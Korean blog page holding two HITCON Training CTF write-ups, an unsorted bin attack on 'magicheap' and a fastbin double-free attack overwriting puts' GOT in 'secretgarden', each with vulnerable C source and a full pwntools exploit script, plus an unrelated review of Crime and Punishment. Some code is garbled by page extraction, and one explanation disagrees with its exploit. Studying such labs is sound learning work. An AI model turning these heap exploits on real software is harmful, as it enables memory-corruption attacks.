1. 시작하기전에...

벌써 HITCONT Training의 짝수 마지막 번호 lab14가 되었습니다. lab14는 지난 번 포스팅에서 다루었던 lab12였던 fastbin attack에 이어 

unsorted bin attack을 이용한 문제입니다.


unsorted bin attack에서는 free Chunk(해제된 메모리 영역)에서 bk를 덮어 써 메모리 할당 공간을 컨트롤 한다는 것이 핵심입니다.


1-1. Free Chunk

한번 봤던 구조지만 한번 더 확인해 보도록 하겠습니다. 


Free Chunk의 상위 두 필드는 prev_size와 헤더의 크기를 포함한 자신의 크기를 나타냅니다.


fastbin 같은 경우에는 single linked list이기때문에, forward pointer to next chunk in list(fd)영역에만 값이 쓰여지고 back pointer to next chunk in list(bk)는 필드는 존재하지만 값이 세팅 되지 않았습니다.


하지만 오늘 다룰 unsorted bin에서는 double linked list로 fd와 bk 필드가 모두 사용됩니다.


1
2
3
4
5
6
7
char *= malloc(0x80);
char *= malloc(0x80);
char *= malloc(0x80);
 
free(a);
free(b);
free(c);



위와 같은 코드가 있을 때, unsorted bin은 first fit에 의해 아래와 같은 형태가 됩니다.


  1. head -> c <-> b<-> a -> tail

이 상태에서 각 free chunk에 fd / bk는 이렇게 기록됩니다.


a 의 bk : b의 주소


b의 fd : a의 주소

b의 bk : c의 주소


c의 fd : b의 주소


생각같아서는 a의 fd에 tail의 주소, c의 fd에는 head의 주소 이렇게 저장될 것 같았는데 직접 확인해 보니 알수 없는 값이 메우고 있었습니다. 

무슨 값인 지는 잘 모르겠습니다만, 확실한 건 Tail쪽이 fd이고 Head쪽이 bk이며 Head방향에 있는 chunk부터 검사하여 적합한 사이즈라면 메모리가 할당 됩니다.


그러므로 이때 bk를 조작할 수 있다면, 다음에 할당되는 메모리의 주소를 조작할 수 있다는 점을 이용합니다.



2. C소스

magicheap.c 의 코드 중 중요한 부분만 몇 군데 보겠습니다.


2-1. create_heap()

1. 프로그램 내에서 할당된 heap을 관리하는 전역변수 heaparray가 있습니다. 그 배열에 빈곳을 찾습니다.

2. 사이즈를 입력받아 해당 크기만큼 메모리를 할당합니다.

3. heap의 내용을 입력받아 저장합니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void create_heap(){
    int i ;
    char buf[8];
    size_t size = 0;
    for(i = 0 ; i < 10 ; i++){
        if(!heaparray[i]){
            printf("Size of Heap : ");
            read(0,buf,8);
            size = atoi(buf);
            heaparray[i] = (char *)malloc(size);
            if(!heaparray[i]){
                puts("Allocate Error");
                exit(2);
            }
            printf("Content of heap:");
            read_input(heaparray[i],size);
            puts("SuccessFul");
            break ;
        }
    }   
}



2-2. edit_heap()

1. index를 입력받고 index의 유효성 검사를 합니다.

2. index가 유효한 경우 해당 heap이 heaparray에 존재하는지 확인합니다.

3. 존재하는 경우 해당 heap의 사이즈를 입력받고 사이즈만큼 메모리를 수정합니다.

4. heap의 내용을 수정합니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void edit_heap(){
    int idx ;
    char buf[4];
    size_t size ;
    printf("Index :");
    read(0,buf,4);
    idx = atoi(buf);
    if(idx < 0 || idx >= 10){
        puts("Out of bound!");
        _exit(0);
    }
    if(heaparray[idx]){
        printf("Size of Heap : ");
        read(0,buf,8);
        size = atoi(buf);
        printf("Content of heap : ");
        read_input(heaparray[idx] ,size);
        puts("Done !");
    }else{
        puts("No such heap !");
    }
}



2-3. delete_heap()

1. index를 입력받아 index의 유효성 검사를 합니다.

2. index가 유효한 경우 해당 heap이 리스트에 존재하는지 확인 합니다.

3. 존재하는 경우 해당 heap을 메모리 해제 합니다.

4. heaparray에 저장되어 있는 포인터를 NULL로 만들어 줍니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void delete_heap(){
    int idx ;
    char buf[4];
    printf("Index :");
    read(0,buf,4);
    idx = atoi(buf);
    if(idx < 0 || idx >= 10){
        puts("Out of bound!");
        _exit(0);
    }
    if(heaparray[idx]){
        free(heaparray[idx]);
        heaparray[idx] = NULL ;
        puts("Done !");
    }else{
        puts("No such heap !");
    }
 
}



delete_heap에서 메모리 해제 후 배열에 저장되어있는 heap의 포인터를 NULL로 만들어줌으로써, fastbin attack은 가능하지 않습니다. 

3. exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
 
= process('./magicheap')
 
def create_heap(length,contents):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(": ")
    r.sendline(str(length))
    r.recvuntil(":")
    r.sendline(contents)
 
def edit_heap(length, idx, contents):
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))
    r.recvuntil(": ")
    r.sendline(str(length))
    r.recvuntil(": ")
    r.sendline(contents)
 
def delete_heap(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))
    
magic = 0x00000000006020c0
fake_chunk = magic - 0x10
 
create_heap(0x80,"tulip")
create_heap(0x20,"sunflower")
create_heap(0x80,"rose")
create_heap(0x20,"tulip")
delete_heap(2)
delete_heap(0)
 
#alloc size = 0x20(idx:1 chunk size) + 0x10(idx:2 header) + 0x10(idx:2 fd, bk)
edit_heap(0x20+0x10+0x101"a"*0x20 + p64(0)+p64(144)+ p64(0)+ p64(fake_chunk))
create_heap(0x80,"5000")
r.sendline("4869")
log.info(r.recv(0x500))
log.info(r.recv(0x100))



exploit코드의 목적은 할당 메모리의 공간을 전역변수 magic으로 만들어 magic의 값을 5000으로 만드는 것입니다.
위에 설명한 코드에 main의 내용은 빠져있지만, 이 전역변수 magic의 값이 4869보다 큰 값이면 문제가 풀리게 되어있습니다.

exploit 코드의 과정은 아래와 같습니다.
1. 0x80, 0x20, 0x80, 0x20 의 크기로 메모리를 할당합니다.
 =>중간에 0x20사이즈를 섞은 것은 하위에 존재하는 free chunk의 bk를 덮기 위해 할당한 메모리입니다.
 => 마지막에 존재하는 0x20사이즈의 chunk를 할당한 것은 이유를 모르겠습니다. 다만, 없으면 정상적으로 exploit이 되지 않네요..
      마지막에 chunk를 할당한 것과 할당하지 않은 것의 메모리를 비교한 화면입니다.


0x603000이 처음으로 할당한 0x80 chunk이고, 0x603090이 두 번째로 할당한 0x20 chunk, 0x6030c0가 세 번째로 할당한 0x80 chunk입니다.

그리고 마지막으로 할당한 0x20 chunk는 0x603150에 위치하고 있습니다.


저 화면은 메모리할당 한 후 39라인까지 실행한 결과(free 2번 실행) 인데, 처음으로 할당한 chunk의 fd가 세 번째 chunk를 가르키고 있고

세 번째 chunk의 bk가 첫 번째로 할당한 chunk를 가르키고 있는 것을 확인할 수 있습니다.



이 화면은 동일한 로직을 마지막 chunk없이 실행한 결과 입니다. fd와 bk가 우리가 예상한 것과는 다른 모습을 하고 있습니다. 서로를 가르키고 있지 않은 모습입니다. 마지막으로 할당 했던 메모리가 어떤 역할을 하는지는 아직 잘 모르지만.. 존재해야지만 0x80 chunk들이 정상적으로 unsorted bin list에 속하는 것으로 보입니다.


2. index 2, 0의 순으로 메모리 해제를 합니다. 

위와 같은 구조에서 우리가 덮어쓸 수 있는 메모리는 두 번째 chunk를 수정하여 세 번째 chunk를 덮어 쓸 수 있습니다. 수정 메모리 크기를 검사하지 않는 탓이기도 하지요. 


세 번째 메모리의 bk는 첫 번째 메모리를 가르키고 있고, 이 주소를 우리가 원하는 magic의 주소로(실제로는 magic의 주소에서 헤더크기(0x10) 만큼 빼준 값)으로 덮어써 magic의 값을 변경할 것입니다.


3. 두 번째 메모리의 데이터 size는 0x20입니다. 그리고 세 번째 메모리의 헤더 사이즈는 0x10, 우리가 덮어쓸 fd와 bk는 각각 0x8이고 

따라서 0x40만큼 덮어 써야 원하는 대로 bk를 완전히 덮어쓸 수 있습니다.


42라인에서 0x40만큼 크기를 입력해주었고, a를 0x20개 만큼 채웠습니다. 그리고 prev_size를 0으로, 현재 chunk사이즈는 본래의 값인 0x90인 144로 채웠습니다. 그리고 fd 값은 0으로 채웠고, bk부분에 우리가 원하는 값인 magic - 0x10 값으로 채워주었습니다.

 

4. 그 이후 새로운 chunk를 요청하여 magic에 값을 써준 후 4869를 입력하여 마무리 되었습니다.






끗!



  1. chaem 2018.08.22 18:04

    마지막 chunk를 할당하는 이유는 처음 chunk를 free할때 top chunk와 합쳐지지 않도록 하기 위해서 인것 같아요! shellfish how2heap에 unsorted bin attack 글이 있는데, 거기에 이게 그거 같아요!!!
    fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with"
    "the first one during the free()\n\n");

    • JSBach Bach 2018.08.22 22:13 신고

      예ㅎㅎ 저도 얼마전에 알게되었어요! 피드백 감사합니다.

안녕하세요! 세 번째 책 후기 포스팅입니다!

이번에 포스팅 할 책은 도스토예프스키의 책 죄와 벌 입니다.



1. 계기

팟캐스트 지대넓얕에서 채사장님이 소개를 해준 방송을 듣고, 호기심이 생기던 찰나에 유시민 작가님청춘의 독서에 소개되어 읽어봐야겠다고 

생각을 했었습니다. 그러던 중 습관처럼 들렸던 알라딘에서 눈에 들어와 직접적으로 읽는 계기가 되었습니다.


읽기 전 내용을 어느정도 알고있었던 지라 기대를 많이 하고 읽기 시작했지만, 제가 읽었던 책은 비교적 옛날에 번역된 책이라 읽기가 쉽지 않았고 

무엇보다 어마무시한 책의 분량에 읽어갈 수록 지쳤던 것 같습니다. 그래도 흥미로운 주제와 옛날 제정 러시아 시대의 도시를 잘 묘사하여 끝까지 읽을 수 있었습니다. 


책을 모두 읽고 이 후기를 쓰려고 했을 때 너무 많은 내용과 생각이 뒤섞여 쓰기가 어려워 유시민 작가님청춘의 독서 죄와 벌 파트를 다시 읽어 참고하였습니다.


2. 내용

죄와 벌은 주인공인 라스콜리니코프를 기점으로 이야기가 전개됩니다. 

휴학생인 라스콜로니코프는 본래 선행을 많이 하고 자기 주장이 강한 학생입니다. 하지만 소설의 초반부 고리대금 전당포를 운영하는 노파를 살해합니다. 살해 전 살해 방법과 살해한 후 도주경로 등 철저하게 준비하죠. 그리고 우연하게 마주친 노파의 이복동생까지 어쩔 수 없이 살해하고 맙니다. 살해하고 금품을 훔쳐 달아나는 모습을 봤을 때 까지만 해도 그저 생활고에 시달리다 노파를 살해한 것인가? 전에 들었던 시나리오는 이게 아니였던거 같은데.. 라는 생각이 들 때 쯤, 뒤편에 범죄에 대하여 라는 주인공이 쓴 논문이 소개됩니다.


- 선한 목적을 위한 악한 수단이 정당화 되는가?

범죄에 대하여 라는 소설 중 논문에는 사회악을 없애고 공동선을 추구할 수 있는 방법에 대해 이야기 하고있습니다. 

사실 이 논문의 내용이 소설 전반적인 주제라고 봐도 될 것 같습니다. 이 논문에서는 사람들을 평범한 사람비범한 사람으로 나눕니다. 


평범한 사람은 그저 평범한 인간이기에 법을 준수하고, 순종하며 살아가야합니다. 비범한 사람은 모든 종류의 법규로부터 자유롭습니다. 그의 신념을 위해 즉, 공공선을 이루기 위해 살인이나 폭력 등이 정당화 된다는 것이지요. 주인공은 예시로 나폴레옹, 마호메트, 솔로몬 등을 예로 듭니다.


위 내용은 선한 목적을 위해 악한 수단이 정당화 되는가? 로 볼 수 있지요. 죄와 벌에서는 그 대답은 정당화 되지 않는다. 라고 암시 하고 있습니다.

명확하게 명시한 것은 아니지만, 범죄 이후 줄곧 라스콜로니코프는 정신적으로 고통을 겪고, 스스로 벌을 받는 것과 같은 상태에 빠져 괴로워 합니다.

아마도 이 점을 이야기 하고 싶었던 것 같습니다.


저도 이 문제에대해 많은 고민을 해보았고, 제가 생각한 결론도 위와 크게 다르지 않습니다.

그 이유로 첫 째로는 선한 목적을 이루는 수단 중 악한 수단만이 있는 것만은 아닐 것이며, 둘 째 선한 수단은 비교적 느리고 비효율적일 순 있으나 누군가 불행해지지 않습니다. 또한, 악한 수단이라고 판단 되는 것은 도덕적으로 나쁜 것이고 위와 같이 누군가 불행해지거나 피해를 보는 수단일 것인데 이러한 것의 결과가 선하다고 볼 수는 없을 것이기 때문입니다.


 

- 비정상적인 인물들을 등장인물로 채택한 이유?

전반적으로 걸쳐 서술되는 도시와 각 등장인물들은 모두 음울하고 불안한 분위기가 있습니다. 특히 주인공을 포함한 등장인물들 대부분 심신에 고질적인 문제점을 가지고 있습니다. 물론 주인공의 친구 라주마힌이나 동생 두냐, 어머니와 같이 정상적으로 묘사되는 인물들도 있지만 술주정뱅이, 창녀, 오만한 귀족, 바람둥이, 정신착란 증세, 허풍쟁이 등등 다양하게 정상 범주를 벗어난 인물들이 많습니다.


청춘의 독서와 죄와 벌 책의 뒷 편에 위치 하고있는 해설편에서는 이러한 이유를 도스토예프스키의 생애와 연결시켜서 설명하고 있습니다.

도스토예프스키는 도박을 좋아했고, 충동적이며 낭비벽이 심했다고 합니다. 비교적 부유한 집안이였음에도 불구하고 재산을 모두 날려먹었죠.

또, 당시 사회주의에 연관되어 사형을 선고받고 수용소에 갇히는 등 순탄하지 않은 삶을 살았고 이 때문에 소설들의 등장인물들이 영향을 받았다라고 합니다.


하지만 저는 다른 관점에서 보려고 합니다. 

조금은 비뚤어지고 정서적으로 불안하며 음울한 분위기를 풍기는 등장인물들을 통해 당시 사회를 비판하려했던 것이 아닐까 라고 생각해봅니다.   

루진을 통해 시대의 흐름을 탄 졸부들을 비판하기도 하고, 레베쟈트니코프를 통해 겉만 번지르르한 개혁 지식인들을 풍자하며 소냐의 가족들을 통해 몰락한 귀족의 모습이나 가난한 시민들의 처참한 모습을 보여주려고 한 것이라는 생각을 해보았습니다.


3. 마무리

좁혀오는 포르피리의 수사망과 자신의 죄를 스스로 감당하지 못하여 발생하는 열병, 정신착란으로 라스콜리니코프는 결국 자수를 하고, 소냐는 라스콜리니코프의 옥바라지를 합니다. 옥 중 주인공은 지극정성으로 자신을 도와주는 소냐에게 마음을 열고 자신의 죄를 받아들인 모습을 보입니다. 종교에 대해 콧방귀도 뀌지 않던 사람이 소냐에게 성경책을 부탁하는 모습도 나옵니다.


그 뒷이야기는 서술되지 않고 있지만 왜곡된 방법으로 정의를 실현하고자 했던 라스콜리니코프가 자신의 죄를 뉘우친 것으로 묘사 되고 있으니, 

석방 후 소냐와 동생, 라주마힌과 함께 행복하게 살았기를 바래봅니다.

 

'일상 > BooK' 카테고리의 다른 글

라틴어 수업 - 나는 공부하는 노동자입니다.  (0) 2018.03.22
죄와 벌  (0) 2018.02.26
우리는 언젠가 만난다.  (0) 2018.01.15
시민의 교양  (0) 2018.01.11

1. 시작하기전에...

저번 포스팅(http://bachs.tistory.com/entry/HITCON-Training-lab12-Fastbin-Attack?category=961837)에 이어 fastbin attack에 대해 포스팅 하려고합니다.

이번 글에서는 HITCON Training lab12를 풀어보겠습니다.



2. 분석

문제에서 주어진 소스코드 secretgarden.c 를 살펴보겠습니다. 소스코드가 길어 필요한 부분만 분석하겠습니다.(환경은 64bit 입니다.)


1
2
3
4
5
6
7
8
9
struct flower{
    int vaild ;             //8byte
    char *name ;            //8byte
    char color[24] ;        //24byte
};
                            //40byte
 
struct flower* flowerlist[100];    //list of flowers
unsigned int flowercount = 0;     //count of flowers 



먼저 flower 구조체가 있습니다. flower구조체는 꽃(flower구조체)의 유효성을 검증해주는 valid 변수가 있고, 꽃의 이름을 입력받는 변수 name이 있습니다.

마지막으로 꽃의 색을 저장하는 24바이트짜리 char 배열 color 변수를 멤버로합니다. 이 구조체의 총 크기는 40바이트입니다.


전역변수로는 전체 꽃의 개 수를 세기 위한 flowercount가 있고, 꽃들을 관리할 수 있는 flower * 배열이 있습니다.


다음은 함수들을 살펴보도록 하겠습니다. 모든 함수를 다루기엔 내용이 너무 많아, 취약점이 발생 할 수 있는 함수인 add()와 del()만 살펴보겠습니다.


int add()

=> add함수의 동작은 아래와 같습니다.  

전역변수 flowercount가 100보다 크면 "The garden is overflow" 출력합니다.

flowercount가 100보다 작으면

- 추가 할 flower구조체에 메모리를 할당하고 초기화 합니다.

flower name 의 크기를 입력 받은 후 크기만큼 buf 메모리를 할당합니다.

- flower name을 입력받아 buf에 저장합니다.

- flower 구조체 name 멤버변수에 buf 포인터를 대입합니다.

- flower 구조체 color 멤버변수에 입력 받습니다.

- flower 구조체 valid 변수 1로 setting합니다.

- 전역변수 flowerlist를 검색하여 비어있는 곳에 생성한 flower 를 추가합니다.

- 전역변수 flowercount를 1 증가시킨 후, "Successful !" 출력합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int add(){
    struct flower *newflower = NULL ;
    char *buf = NULL ;
    unsigned size =0;
    unsigned index ;
    if(flowercount < 100){
        newflower = malloc(sizeof(struct flower));
        memset(newflower,0,sizeof(struct flower));
        printf("Length of the name :");
        if(scanf("%u",&size)== EOF) exit(-1);
        buf = (char*)malloc(size);
        if(!buf){
            puts("Alloca error !!");
            exit(-1);
        }
        printf("The name of flower :");
        read(0,buf,size);
        newflower->name = buf ;
        printf("The color of the flower :");
        scanf("%23s",newflower->color);
        newflower->vaild = 1 ;
        for(index = 0 ; index < 100 ; index++ ){
            if(!flowerlist[index]){
                flowerlist[index] = newflower ;
                break ;
            }
        }
        flowercount++ ;
        puts("Successful !");
    }else{
        puts("The garden is overflow");
    }
}



int del()

flowercount가 0이면 "No flower in the garden" 출력합니다.

flowercount가 0이 아니면 "Which flower do you want to remove from the garden:" 를 출력 한 후 지울 index를 입력받습니다.

  입력받은 인덱스의 유효성 검사(0 ~ 100의 범위 외) 이거나 해당 인덱스에 값이 없는 경우 

- "Invalid choice" 출력 후 프로그램을 종료합니다.

위의 경우가 아니면

- 해당 인덱스의 구조체 valid 멤버변수를 0으로 setting합니다.

- 해당 인덱스의 구조체 name 멤버변수의 메모리를 해제합니다.

- "Successful" 출력

- 구조체는 메모리 해제하지 않으며, flowerlist에서도 지우지 않습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int del(){
    unsigned int index ;
    if(!flowercount){
        puts("No flower in the garden");
    }else{
        printf("Which flower do you want to remove from the garden:");
        scanf("%d",&index);
        if(index < 0 ||index >= 100 || !flowerlist[index]){
            puts("Invalid choice");
            return 0 ;
        }
        (flowerlist[index])->vaild = 0 ;
        free((flowerlist[index])->name);
        puts("Successful");
    }
}



fastbin attack이 가능한 조건은 아래와 같습니다.


- 동일한 크기의 Fast chunk의 할당과 해제가 자유로워야한다.

- 공격자에 의해 해제된 Fast chunk를 한번 더 해제 할 수 있어야 한다.(Double Free Bug)

- 공격자에 의해 할당된 Fast chunk 영역에 값을 저장 할 수 있어야 한다.

- 할당 받고자 하는 메모리 영역에 해제된 Fast chunk의 크기 값이 저장되어 있어야한다.


소스코드를 분석해 보았을 때, add()함수 내에서 크기 값을 입력하여 Fast chunk의 할당이 자유롭고 할당된 메모리 내에 값을 쓸 수 있으며 

del()함수를 통해 메모리 해제 역시 자유롭습니다. 앞선 포스팅에서 봤듯이 메모리를 할당한 후 a -> b -> a의 형태로 메모리 해제를 하면,

fastbin attack이 가능 할 것으로 보입니다.


3. Exploit 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
context.terminal = ['terminator','-x','bash','-c']
= process('./secretgarden')
 
def raiseflower(length,name,color):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(length))
    r.recvuntil(":")
    r.sendline(name)
    r.recvuntil(":")
    r.sendline(color)
 
def visit():
    r.recvuntil(":")
    r.sendline("2")
    
def remove(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))
 
def clean():
    r.recvuntil(":")
    r.sendline("4")
    
magic = 0x400c7b 
fake_chunk = 0x601ffa
 
raiseflower(80,"tulip","red")#0
raiseflower(80,"rose","blue")#1
remove(0)
remove(1)
remove(0)
raiseflower(80,p64(fake_chunk),"blue")
raiseflower(80,"sunflower","red")
raiseflower(80,"bach","green")
raiseflower(80"a"*6 + p64(0+ p64(magic)*2 ,"red")#malloc in fake_chunk
 
r.interactive()



exploit 코드를 살펴보겠습니다.

코드의 메인 아이디어는 호출 하고 싶은 함수(magic)의 주소를 적어두고, 이 주소를 puts함수의 got에 써주어 exploit을 하려고합니다.


첫 번째로 35 ~ 39라인 에서 메모리를 두 개 할당 하여 a->b->a의 순서로 메모리를 해제하였습니다.

그리고 puts의 got(0x602020)에 써주기 위해 fake_chunk를 0x601ffa를 선정하였는데 이유는 80바이트(0x50) + chunk header(0x10)값이 적힌 곳

써주어야 하기 때문입니다. 이 부분이 이해가 안간다면 앞에 포스팅 한 글에서 chunk사이즈를 맞춰주어야 한다는 부분을 다시 보고오시기 바랍니다.


 


0x601ffa의 주소를 출력한 화면입니다. 0x601ffa + 0x8에 0xe150000000000060 값이 쓰여져 있습니다.

이 곳에 설명한대로라면 0x0000000000000060 값이 써져있어야 하지만 상위 바이트에 다른 값이 추가로 더 붙어있음을 알 수 있습니다.

운영체제에서 검사하는 메모리의 크기는 하위 4바이트를 이용해 확인하기 때문에 상위 4바이트에 있는 값은 무시할 수 있습니다.

이에 대해 자세한 내용은 http://veritas501.space/2017/05/23/HITCON-training%20writeup/ 의 lab12파트를 확인해주시기바랍니다.


따라서 0x601ffa를 fake_chunk의 주소로 선정해주어 메모리를 할당 받고 사용할 수 있는 주소는 0x60200a부터입니다.

0x602020에 값을 덮어쓰기 위해서는 0x602020 - 0x601ffa = 0x16(22) 이고, 따라서 앞의 dummy가 22바이트 필요합니다.


43라인에서 "a"*14 + p64(magic)*2 를 하여(6byte + 8byte + 16byte) 26byte를 써 magic함수가 0x602020에 써질 수 있도록

페이로드를 작성하였습니다.

 

끗!


  1. 123123 2019.01.14 18:04

    더미가 22필요한데 왜 a를 14개만 쓴거죠?

    • JSBach Bach 2019.01.15 00:03 신고

      앗 좋은 질문 감사합니다.
      익스플로잇 코드와 설명이 다른 부분이 있었네요
      익스플로잇 코드 43라인보면
      "a"*6 + p64(0) + p64(magic)*2 를 보냅니다 ㅠ

      익스플로잇 코드에서는
      a*6 = 6byte
      p64(0) = 8byte
      p64(magic)*2 = 16byte(dummy + 덮어쓸 주소)

      설명에서는
      a*14 = 14byte
      p64(magic)*2 = 16byte(dummy + 덮어쓸 주소)

      즉, magic이 두번인데, 더미와 실제 덮어쓰는 용도로 썼습니다. 정확도를 높이기위해서 이렇게 쓴것이고, 말씀하신대로 그냥 a*22로 해도 익스플로잇 될것 같네요 :)

+ Recent posts